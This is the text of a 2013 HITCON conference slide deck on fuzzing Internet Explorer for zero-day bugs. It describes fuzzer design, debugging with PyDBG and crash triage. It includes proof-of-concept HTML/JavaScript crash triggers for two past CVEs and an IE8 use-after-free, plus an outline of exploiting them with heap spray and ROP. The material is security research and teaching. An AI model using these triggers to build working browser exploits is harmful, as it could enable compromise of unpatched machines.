0-Day 甘苦談 (0-Day WTF Talk) Happy Fuzzing Internet Explorer HITCON

Similar documents
Untitiled

Improved Preimage Attacks on AES-like Hash Functions: Applications to Whirlpool and Grøstl

Lorem ipsum dolor sit amet, consectetuer adipiscing elit

ROP_bamboofox.key

Microsoft Word - 第四組心得.doc

可 愛 的 動 物 小 五 雷 雅 理 第 一 次 小 六 甲 黃 駿 朗 今 年 暑 假 發 生 了 一 件 令 人 非 常 難 忘 的 事 情, 我 第 一 次 參 加 宿 營, 離 開 父 母, 自 己 照 顧 自 己, 出 發 前, 我 的 心 情 十 分 緊 張 當 到 達 目 的 地 後

星河33期.FIT)

090507issue

Lorem ipsum dolor sit amet, consectetuer adipiscing elit

LOVE IS OVER LOVE LOVE LOVE LOVE IS EVERYTHING LOVE LOVE LOVE LOVER'S QUEEN LYDIA MAYBE TOMORROW MEN'S TALK MY DEAR MY FRIEND MY OH MY MY SUMMER DREAM

区 域 活 动 进 入 中 班 我 们 区 域 的 设 置 和 活 动 材 料 都 有 所 变 化, 同 时 也 吸 引 孩 子 们 积 极 的 参 与 学 习 操 作 区 的 新 材 料 他 们 最 喜 欢, 孩 子 们 用 立 方 块 进 行 推 理 操 作 用 扑 克 牌 进 行 接 龙 游

99 學年度班群總介紹 第 370 期 班群總導 陳怡靜 G45 班群總導 陳怡靜(河馬) A 家 惠如 家浩 T 格 宜蓁 小 霖 怡 家 M 璇 均 蓁 雴 家 數學領域 珈玲 國燈 英領域 Kent

4. 每 组 学 生 将 写 有 习 语 和 含 义 的 两 组 卡 片 分 别 洗 牌, 将 顺 序 打 乱, 然 后 将 两 组 卡 片 反 面 朝 上 置 于 课 桌 上 5. 学 生 依 次 从 两 组 卡 片 中 各 抽 取 一 张, 展 示 给 小 组 成 员, 并 大 声 朗 读 卡


epub 61-2

89???????q?l?????T??

1 C++ 2 Bjarne Stroustrup C++ (system programming) 6 (infrastructure) C++ 7 Herb Sutter 8 C++ (efficiency) (flexibility) 9 (abstraction) (productivity

前 言 一 場 交 換 學 生 的 夢, 夢 想 不 只 是 敢 夢, 而 是 也 要 敢 去 實 踐 為 期 一 年 的 交 換 學 生 生 涯, 說 長 不 長, 說 短 不 短 再 長 的 路, 一 步 步 也 能 走 完 ; 再 短 的 路, 不 踏 出 起 步 就 無 法 到 達 這 次


096STUT DOC

IP505SM_manual_cn.doc

Microsoft PowerPoint - CH 04 Techniques of Circuit Analysis

epub83-1


Microsoft Word doc

前 言 香 港 中 文 大 學 優 質 學 校 改 進 計 劃 ( 下 稱 計 劃 ) 團 隊 自 1998 年 起 積 極 於 本 地 推 動 理 論 及 實 踐 並 重 的 學 校 改 進 工 作, 並 逐 步 發 展 成 為 本 地 最 具 規 模 的 校 本 支 援 服 務 品 牌, 曾 支


[ 13 年 12 月 06 日, 下 午 6 点 24 分 ] Intel Hosts 新 加 入 的 同 学 们, 快 去 听 听 在 线 宣 讲 会 哦, 同 时 完 成 页 面 下 方 有 奖 调 查, 就 有 资 格 参 与 大 奖 抽 取 啦! [ 13 年 12 月 06 日, 下 午

问 她! 我 们 把 这 只 手 机 举 起 来 借 着 它 的 光 看 到 了 我 老 婆 正 睁 着 双 眼 你 在 干 什 么 我 问, 我 开 始 想 她 至 少 是 闭 着 眼 睛 在 yun 酿 睡 意 的 我 睡 不 着 她 很 无 辜 地 看 着 我 我 问 她 yun 酿 的 yu

藍牙網路在資訊家電的應用



( Version 0.4 ) 1

Microsoft Word - 11.doc

chapter 2 HTML5 目錄iii HTML HTML HTML HTML HTML canvas

目 錄 實 施 計 畫 1 專 題 演 講 因 應 十 二 年 國 民 基 本 教 育 課 程 綱 要 學 校 本 位 課 程 的 整 體 布 局 A-1 推 動 十 二 年 國 民 基 本 教 育 課 程 綱 要 相 關 配 套 措 施 A-10 分 組 研 討 法 規 研 修 B-1 課 程 教

untitled

Windows XP

Fun Time (1) What happens in memory? 1 i n t i ; 2 s h o r t j ; 3 double k ; 4 char c = a ; 5 i = 3; j = 2; 6 k = i j ; H.-T. Lin (NTU CSIE) Referenc

Love Actually 真 的 戀 愛 了!? 焦 點 主 題 2035 年 一 個 寒 冷 卻 又 放 晴 的 下 午, 爸 媽 一 大 清 早 已 上 班, 只 得 小 奈 獨 個 兒 待 在 家 中, 奢 侈 地 享 受 著 她 的 春 節 假 期 剛 度 過 了 期 考 的 艱 苦 歲

「人名權威檔」資料庫欄位建置表

ebook65-20

<4D F736F F F696E74202D20C8EDBCFEBCDCB9B9CAA6D1D0D0DEBDB2D7F92E707074>

Important Notice SUNPLUS TECHNOLOGY CO. reserves the right to change this documentation without prior notice. Information provided by SUNPLUS TECHNOLO

本 课 程 作 为 非 计 算 机 专 业 本 科 通 识 课 程, 是 一 门 理 论 和 实 践 紧 密 结 合 的 实 用 课 程, 内 容 包 括 计 算 机 基 础 部 分 和 程 序 设 计 部 分 计 算 机 基 础 部 分 涵 盖 计 算 机 软 硬 件 组 成 数 制 表 示 操

HCD0174_2008

附 件 三 高 雄 市 政 府 及 所 屬 各 機 關 公 務 出 國 報 告 書 審 核 表 出 國 報 告 書 名 稱 :105 年 長 野 縣 茅 野 市 姐 妹 校 交 流 活 動 出 國 人 員 姓 名 (2 人 以 上, 以 1 人 為 代 表 ) 職 稱 服 務 單 位 洪 薏 婷 教

NeverStop NeverStop 400K/200K 300K P 400K 200K 50 Don't think you can not do it just because you Don't think you can do it. 150~ ~

热设计网

ebook140-8

AL-M200 Series

<4D F736F F D205F FB942A5CEA668B443C5E9BB73A740B5D8A4E5B8C9A552B1D0A7F75FA6BFB1A4ACFC2E646F63>

周年校務計劃05-06

2011年高职语文考试大纲

2-7.FIT)

Microsoft Word - HD-10 China.doc


第 15 章 程 式 編 写 語 言 15.1 程 式 編 写 語 言 的 角 色 程 式 編 寫 語 言 是 程 式 編 寫 員 與 電 腦 溝 通 的 界 面 語 法 是 一 組 規 則 讓 程 式 編 寫 員 將 字 詞 集 合 起 來 電 腦 是 處 理 位 元 和 字 節 的 機 器, 與

Microsoft Word - 武術合併

Microsoft Word - TIP006SCH Uni-edit Writing Tip - Presentperfecttenseandpasttenseinyourintroduction readytopublish

錫安教會2015年11月29日分享

CC213


高中英文科教師甄試心得

國 語 歌 手 姓 氏 英 文 幸 福 了 然 後 呢 ( 人 聲 ) A-Lin 到 不 了 的 幸 福 ( 人 聲 ) Bii 勇 敢 的 不 是 我 A-Lin 我 們 在 愛 中 漫 步 Bii 勇 敢 的 不 是 我 ( 人

ebook37-4

small fire indd

國 語 歌 手 姓 氏 英 文 幸 福 了 然 後 呢 A-Lin 我 還 想 念 你 Bii 幸 福 了 然 後 呢 ( 人 聲 ) A-Lin 到 不 了 的 幸 福 Bii 勇 敢 的 不 是 我 A-Lin 到 不

新竹市建華國民中學九十四學年度課程計畫

39 屆 畢 業 典 禮

1 目 錄 1. 簡 介 一 般 甄 試 程 序 第 一 階 段 的 準 備 第 二 階 段 的 準 備 每 間 學 校 的 面 試 方 式 各 程 序 我 的 做 法 心 得 及 筆 記 結 論..

神 学 家 陶 恕 博 士 曾 经 相 当 感 叹 的 说, 数 以 百 万 计 的 我 们 生 活 在 福 音 既 得 之 地, 各 自 都 有 所 属 的 教 会, 也 努 力 去 传 基 督 教 的 信 仰, 但 可 悲 的 是, 或 许 终 其 一 生, 都 未 曾 认 真 思 想 过 神

Microsoft Word - 2CA13內文.doc

RUN_PC連載_10_.doc

ICD ICD ICD ICD ICD

Microsoft Word - 11月電子報1130.doc

Preface This guide is intended to standardize the use of the WeChat brand and ensure the brand's integrity and consistency. The guide applies to all d

國立桃園高中96學年度新生始業輔導新生手冊目錄

穨control.PDF

RUN_PC連載_12_.doc

致 谢 本 人 自 2008 年 6 月 从 上 海 外 国 语 大 学 毕 业 之 后, 于 2010 年 3 月 再 次 进 入 上 外, 非 常 有 幸 成 为 汉 语 国 际 教 育 专 业 的 研 究 生 回 顾 三 年 以 来 的 学 习 和 生 活, 顿 时 感 觉 这 段 时 间 也

多 穿 一 點 和 別 開 窗 子 都 是 正 面 的 句 子, 好 比 妳 上 幼 稚 園 時 老 師 教 我 們 對 妳 說 話 的 方 法, 不 是 很 簡 單 很 明 確, 感 覺 上 比 妳 用 責 難 的 問 句 好 多 了 嗎? 相 對 的, 有 許 多 直 接 而 簡 單 的 句 子

起 初, 距 離 出 版 日 期 還 有 大 半 年, 大 家 雀 躍 萬 分 之 餘 還 滿 盤 大 計, 他 答 應 做 這 樣 她 應 承 安 排 那 樣 你 負 責 做 三 件 事 我 就 辦 兩 件 大 家 都 是 成 年 而 又 自 律 的 人, 一 切 猶 如 入 了 自 動 波, 不

Some experiences in working with Madagascar: installa7on & development Tengfei Wang, Peng Zou Tongji university

Microsoft Word - 十月號.doc


重 點 書 摘 業 創 資?/ 啟 動 學 習 革 命 / 不 怕 失 敗, 就 不 必 擔 心 不 成 功 / 熙 鳳 姐, 看 戲 去 囉! 定 型 不 可 變 ; 又 因 為 醫 藥 的 發 達 使 人 的 壽 命 從 1950 年 代 的 平 均 49 歲 延 長 到 現 在 男 性 73

1505.indd

WFC40810

1. 2. Flex Adobe 3.

软件测试(TA07)第一学期考试

COCO18-DensePose-BUPT-PRIV

ClientHelpSymantec™ Endpoint Protection 及 Symantec Network Access Control 客户端指南

Transcription:

0-Day 輕鬆談 (0-Day Easy Talk) Happy Fuzzing Internet Explorer 2013/07/19 @ HITCON <Orange@chroot.org>

0-Day 甘苦談 (0-Day WTF Talk) Happy Fuzzing Internet Explorer 2013/07/19 @ HITCON <Orange@chroot.org>

這是一場簡單的演講 This is an Easy Talk

分享一些我的 Fuzzing 心得 Share Some Fuzzing Review of Mine

以及很順便的丟個 0-Day 出來 And Disclosed a 0-Day in Passing

大家好 Hello, Everyone

我是 Orange This is Orange Speaking

現任大學生 I am a College Student, Now

CHROOT.org 成員 Member of CHROOT.org

DevCo.re 打工中 Part-Time Work at DevCo.re

揭露過一些弱點 Disclosed Some Vulnerabilities cve 2013-0305 cve 2012-4775(MS12-071)

About Me 蔡政達 aka Orange 2009 台灣駭客年會競賽冠軍 2011, 2012 全國資安競賽金盾獎冠軍 2011 東京 AVTOKYO 講師 2012 香港 VXRLConf 講師 台灣 PHPConf, WebConf, PyConf 講師 專精於 駭客攻擊手法 Web Security Windows Vulnerability Exploitation

如果對我有興趣可以到 blog.orange.tw If You are Interesting at Me. You Can Visit blog.orange.tw

我專注於 Web Security & 網路滲透 I Focus on / Interested in Web Security & Network Penetration

但今天來聊聊 0-Day 以及 Fuzzing ( 不是我專門的領域 QQ) But Today Let's Talk About 0-Day and Fuzzing (I am Not Expert in This, But Just Share)

Conference-Driven 0-Day n. 名詞 釋義 : 為了研討會生 0-Day

在找 0-Day 中的一些筆記 Some Notes in Finding 0-Day

這次我們討論 IE This Time We Talk About IE

http://www.forbes.com/sites/andygreenberg/2012/03/23/shopping-for-zerodays-an-price-list-for-hackers-secret-software-exploits/

Hacker's Good Friend

方法 White Box Code Review (IE5.5 Source Code) 二話不說丟進 IDA Black Box Fuzzing

Fuzzing Garbage in Garbage out 理論上可以找到所有漏洞 前提是你有無限的時間

時間越多, 0-Day 越多 - 貝拉克. 歐巴 馬

Fuzzing Model Generator Logger Result Debugger

http://youtube.com/watch?v=m7xg-ynmise

Debugger Windows Debug API DebugActiveProcess WaitForDebugEvent ContinueDebugEvent 好麻煩 快速 客制化的 Debugger

PyDBG A Pure Python Windows Debugger Interface

Debug a Process >>> import pydbg >>> dbg = pydbg() >>> dbg.load( file ) # or dbg.attach( pid ) >>> dbg.run()

Set Breakpoint >>> dbg.bp_set( address, callback ) >>> dbg.set_callback( exception_code, callback )

Memory Manipulation >>> dbg.read( address, length ) >>> dbg.write( address, length )

Crash Dump Report >>> bin = utils.crash_binning.crash_binning() >>> bin.record_crash( dbg ) >>> bin.crash_synopsis()

Logger (Filter) 滿山滿谷的崩潰 不是所有的 Crash 能成為 Exploit 九成以上是 Null Pointer 只能當 DoS 用 mov eax, [ebx+0x70] ; ebx = 0 EIP Disassemble jmp reg call reg call [reg + CONST] Stack SHE Chain

EIP = ffffffff!!?

0x50000 = 327680 = (65535 / 2)*10 The Value 65535 We Can Control

File Generator The Most Important Part of Fuzzing

File Generator 內容越機歪越好, 當然還是要符合 Spec 熟讀 Spec 熟悉 File Structure 想像力是你的超能力

Fuzzing 方向 1) 找新型態弱點 ( 麻煩但可通用 ) 2) 找已知型態弱點 ( 快速但有針對性 )

新型態弱點 試試比較新 或比較少人用的 HTML5 Canvas SVG VML cve-2013-2551 / VML Integer Overflow / Pwn2own / VUPEN WebGL IE11 Begin to Support

已知型態弱點 研究以往的弱點我們可以知道 Internet Explorer is Not Good at Parsing DOM Tree Parsing <TABLE> with <TR> & <TD> Parsing <TABLE> with <COL> CTreeNode & CTableLayout

Pseudo Scenario of Use-After-Free 1. <foo> 2. <bla id=x> 3. <bar id=y> 4. 5. </bar> 6. </bla> 7. </foo> 1. <script> 2. var x = document.getelementbyid( 'x' ); 3. var y = document.getelementbyid( 'y' ); 4. x.innerhtml = 'AAAA '; 5. y.length = 100px; 6. </script>

Ex: CVE-2011-1260 (Not Full Version) 1. <body> 2. <script> 3. document.body.innerhtml += "<object >TAG_1</object>"; 4. document.body.innerhtml += "<aid='tag_3' style=' '>TAG_3</a>"; 5. document.body.innerhtml +="AAAAAAA"; 6. document.body.innerhtml += "<strong style=' '>TAG_11</strong>"; 7. </script> 8. </body>

Ex: CVE-2012-1876 (Heap Overflow) 1. <script> settimeout("trigger();",1); </script> 2. <TABLE style="table-layout: fixed; "> 3. <col id="132" width="41" span="1" > </col> 4. </col> 5. </TABLE> 1. function trigger() { 2. var obj_col = document.getelementbyid("132"); 3. obj_col.width = "42765"; 4. obj_col.span = 1000; 5. }

Fuzzing with DOM Tree Using DOM Methods to Manipulate Objects CreateElement removechild appendchild InnerHTML outertext createrange addeventlistener select https://www.facebook.com/zztao

Putting All Together 1) Randomize HTML Node for Initial 2) Manipulated Nodes with DOM Method ( Can Also Play with CSS at the Same Time)

運氣不好, 是 人品問題 - 貝拉克. 歐巴 馬

Generally, Single Machine Run Can Find 1 or 2 IE 0-Day in a Month I Have Successfully Found 0-Days from IE6 to IE9, For IE10+ I Haven't Tried Because I am Too Lazy : (

So I Found a 0-Day For HITCON 1) Work on Internet Explore 8 2) Mshtml.dll 8.0.6001.23501

http://www.zdnet.com/ie8-zero-day-flaw-targets-u-s-nuke-researchers-all-versionsof-windows-affected-7000014908/

WinXP 還能再戰十年

Proof-of-Concept

<html> <script> var x = document.getelementbyid('eee'); x.innerhtml = ''; </script> <body> <table> </table> </body> </html>

Microsoft is Our Sponsor I Can't Say More Detail Until Patched : (

Call Stack

call edx (e10.950): Access violation - code c0000005 (!!! second chance!!!) eax=3dbf00a4 ebx=0019bb30 ecx=037f12c8 edx=085d8b53 esi=0172b130 edi=00000000 eip=085d8b53 esp=0172b100 ebp=0172b11c iopl=0 zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 085d8b53????? nv up ei pl

Writing Exploit Windows Protection DEP Luckily If Windows XP We Don't Care About ASLR Luckily It is Not IE10+ that It Hasn't vtable Guard

So, Writing Exploit is Easy Heap Spray + ROP Enough

Demo

http://youtube.com/watch?v=qwkkfucq_va

本來故事到這有個美滿的結局 Originally, This Story Have a Happy Ending

But 人生最精彩的就是這個 But

0-Day 在 HITCON 前一週被修掉了 Silent Fixed Before a Week of HITCON

What the

Proof-of-Concept 1. <!DOCTYPE html> 2. <table> 3. <tr><legend><span > 4. <q id='e'> 5. <a align="center"> <th> O </th> </a> 6. </q> 7. </span></legend></tr> 8. </table> 9. </html> 1. window.onload = function(){ 2. var x = document.getelementbyid('e'); 3. x.outertext = ''; 4. }

Work on mshtml.dll # mshtml.dll... # 2013 / 05 / 14 mshtml.dll 8.0.6001.23501 # 2013 / 06 / 11 mshtml.dll 8.0.6001.23507 # 2013 / 07 / 09

Reference VUEPN Blog http://www.vupen.com/blog/ Paimei https://github.com/openrce/paimei Special Thank tt & nanika

Thanks <Orange@chroot.org>